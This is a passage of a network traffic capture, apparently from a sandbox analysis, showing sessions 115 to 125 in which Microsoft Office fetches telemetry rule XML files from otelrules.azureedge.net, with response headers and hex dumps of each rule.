2024-11-18 22:04:19 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:19 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 555572e6-d01e-00a1-5509-3735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220419Z-16547b76f7ff9zf4hC1DFW2pfc00000003x000000000v512 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:19 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 1573d8a3-d01e-002b-769d-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220419Z-1866b5c5fbbg9tvxhC1DFWy9mg000000028000000000fczw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:19 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:19 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:19 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9fe5a23c-201e-0051-74ab-367340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220419Z-1866b5c5fbbkcpv2hC1DFWf1yc00000006e000000000qghq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:19 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:20 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:20 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: bb729275-001e-0014-2109-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220420Z-16547b76f7fz92z5hC1DFWmdx800000004r000000000aqgu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:20 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:20 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:20 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 4f7b6165-401e-0078-36c3-374d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220420Z-1866b5c5fbbfhwqqhC1DFWc9sw00000000x00000000063rx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:20 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:20 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:20 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:20 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 68acba38-501e-000a-677f-380180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220420Z-r18f44ddb69pgpd4hC1DFWgac800000000eg000000004rgd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:20 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:20 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:20 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: e670145d-b01e-003d-3cc7-36d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220420Z-164f84587bfrrmqdhC1DFWvu6s00000004wg000000012aag x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:20 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:20 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:20 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: d7b14c3d-501e-0047-0581-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220420Z-r18f44ddb69xvwv5hC1DFWstpn00000000f0000000004fzk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:21 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:21 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:21 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: a62daa21-301e-0096-7fca-36e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220421Z-164f84587bfdfkt7hC1DFW4fas00000004eg00000000ar81 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:21 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:21 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:21 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:21 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 3a2d1fa5-b01e-0098-62ef-39cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220421Z-16547b76f7fkf5v9hC1DFW2y5s000000067g00000000pavg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 22:04:21 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:21 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:21 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:21 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 83fa2191-701e-0098-599e-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220421Z-16547b76f7ftfv4jhC1DFWuhug000000041g000000006bgk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:21 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:21 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:21 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:21 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 99e874a7-501e-00a0-6b09-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220421Z-1866b5c5fbbx98hfhC1DFWuqmg000000053g00000000pp4e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
